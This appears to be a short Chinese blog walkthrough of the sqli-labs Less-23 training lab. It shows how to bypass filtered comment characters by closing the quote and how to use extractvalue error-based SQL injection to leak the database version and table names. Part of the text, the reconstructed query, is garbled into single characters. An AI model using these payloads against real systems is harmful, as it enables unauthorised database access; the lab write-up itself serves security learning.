看到题目根据提示输入id。
输入id=1 正常
输入id=1’ 报错,如下图:
知道是单引号闭合语句。
接下来按照一般的套路来输入:id=-1’ or 1 --+ 报错信息如下。
从这个报错信息看出来是在单引号地方出错,可能是语句没有闭合。再加一个括号看看能不能报出更多的语句信息。
输入:id=-1’) or 1 --+
从这可以看出来,–+ 被屏蔽了。然后让注释符换成# ,结果#号也被屏蔽。
我们知道sql语句为:
s
q
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
W
H
E
R
E
i
d
=
′
sql="SELECT * FROM users WHERE id='
sql="SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1";
我们在这里需要闭合单引号。
SELECT * FROM users WHERE id=‘id and ‘1’='1’ LIMIT 0,1
发现这样闭合语句是可行的。
输入:id=1’and’1’=‘1
接下来就可以使用报错注入了。
输入:id=1’and extractvalue(1,concat(0x7e,version()))and’1’=‘1
发现可以使用报错注入。
接下来输入:id=1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))and’1’='1
sqli labs less 23
最新推荐文章于 2024-07-22 14:49:16 发布